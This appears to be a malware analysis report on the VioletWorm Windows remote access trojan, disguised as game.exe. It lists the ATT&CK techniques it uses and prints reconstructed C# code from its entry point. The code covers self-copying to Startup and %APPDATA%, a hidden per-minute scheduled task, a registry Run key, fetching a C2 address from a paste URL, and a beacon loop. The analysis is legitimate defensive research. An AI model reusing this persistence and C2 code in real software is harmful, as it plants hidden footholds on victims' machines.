← Reports

Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author
Moise Medici
Updated
07 Sept 2026 · Completed
Difficulty
Easy
Platform
Windows
Languages
PythonC#
MITRE
T1047 (Windows Management Instrumentation) T1059.001 (Command and Scripting Interpreter: PowerShell) T1059.003 (Command and Scripting Interpreter: Windows Command Shell) T1059.006 (Command and Scripting Interpreter: Python) T1053.005 (Scheduled Task/Job: Scheduled Task) T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) T1027.009 (Obfuscated Files or Information: Embedded Payloads) T1027.013 (Obfuscated Files or Information: Encrypted/Encoded File) T1036.005 (Masquerading: Match Legitimate Resource Name or Location) T1070.004 (Indicator Removal: File Deletion) T1070.006 (Indicator Removal: Timestomp) T1140 (Deobfuscate/Decode Files or Information) T1480.002 (Execution Guardrails: Mutual Exclusion) T1497.003 (Virtualization/Sandbox Evasion: Time Based Checks) T1564.001 (Hide Artifacts: Hidden Files and Directories) T1564.003 (Hide Artifacts: Hidden Window) T1620 (Reflective Code Loading) T1112 (Modify Registry) T1553.005 (Subvert Trust Controls: Mark-of-the-Web Bypass) T1685 (Disable or Modify Tools) T1033 (System Owner/User Discovery) T1057 (Process Discovery) T1082 (System Information Discovery) T1083 (File and Directory Discovery) T1120 (Peripheral Device Discovery) T1518.001 (Software Discovery: Security Software Discovery) T1005 (Data from Local System) T1113 (Screen Capture) T1095 (Non-Application Layer Protocol) T1105 (Ingress Tool Transfer) T1573.001 (Encrypted Channel: Symmetric Cryptography) T1041 (Exfiltration Over C2 Channel) T1048 (Exfiltration Over Alternative Protocol) T1499.002 (Endpoint Denial of Service: Service Exhaustion Flood)

Class FCLHYIYQnSe: Main Entrypoint

This is the entry point of the sample. It is recognized by the [STAThread] label after the class header, and it is also where “Go To Entry Point” leads when right clicking on any label or folder that is part of the sample.

Since a bit of the usual obfuscation is present here as well, the reconstructed code is used below. The first function, renamed as Main, is mostly about persistence. It starts by creating the mutex and copying itself into the startup directory and into %APPDATA%, which is covered by the first try/catch block and the three lines below. The second block runs the command schtask.exe /create /f /sc minute /mo 1 /tn sample.exe /tr dst, creating a scheduled task with the following parameters:

  • /F: forcefully create
  • /sc minute: schedule frequency expressed in minutes
  • /mo 1: the frequency value of 1 (minute)
  • /tn sample.exe: task name with the value “sample.exe”; note that this value is just an example used instead of a placeholder, the real sample uses its own file name
  • /tr dst: the executable to run, with dst being the variable used in the code to hold the path of the copy the sample made in %APPDATA%.

The next try block registers the %APPDATA% path of the sample under SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that it runs at startup. Then, if the PasteURL constant holds a value, it is used to contact the server it points to and retrieve another IP address and port, which replace EncodedConstants.IPAddress and EncodedConstants.Port.

Core.FCLHYIYQnSe
[STAThread]
public static void Main()
{
Thread.Sleep(1000);
DesktopsOperations.SetProcessDpiAware();
if (!Helpers.CreateMutex()) Environment.Exit(0);
try {
string p = Environment.GetFolderPath(SpecialFolder.Startup)
+ "\\" + Path.GetFileName(self);
File.Copy(self, p);
new FileInfo(p).Attributes = FileAttributes.Normal;
} catch { }
string appdata = Environ("appdata");
string dst = appdata + "\\" + Path.GetFileName(self);
try { File.Copy(self, dst); } catch { }
try {
Process.Start(new ProcessStartInfo("schtasks.exe") {
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = "/create /f /sc minute /mo 1 /tn \""
+ Path.GetFileNameWithoutExtension(self)
+ "\" /tr \"" + dst + "\""
}).WaitForExit();
} catch { }
try {
Registry.CurrentUser
.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true)
.SetValue(Path.GetFileNameWithoutExtension(self), dst);
File.Copy(self, dst);
} catch { }
if (EncodedConstants.UsePasteUrl) {
try {
ServicePointManager.SecurityProtocol = Tls | Tls11 | Tls12;
var req = (HttpWebRequest)WebRequest.Create(EncodedConstants.PasteUrl);
req.Method = "GET";
req.UserAgent = "Mozilla/5.0";
foreach (string line in ReadLines(req.GetResponse())) {
if (!string.IsNullOrWhiteSpace(line) && line.Contains(":")) {
var parts = line.Split(new[]{':'}, 2);
EncodedConstants.IpAddress = parts[0].Trim();
EncodedConstants.Port = parts[1].Trim();
}
}
} catch (Exception ex) { MessageBox.Show(ex.Message); }
}
var t = new Thread(BeaconLoop);
t.Start();
t.Join();
}

The last part of the function calls BeaconLoop, which cleans up and reinitialises the connection whenever it has been reset.

Core.FCLHYIYQnSe
private static void BeaconLoop()
{
while (true) {
Thread.Sleep(new Random().Next(1000, 5000));
if (!SocketManager.ConnectionTimer) {
SocketManager.SocketCleanup();
SocketManager.SocketInit();
}
SocketManager.manualResetEvent.WaitOne();
}
}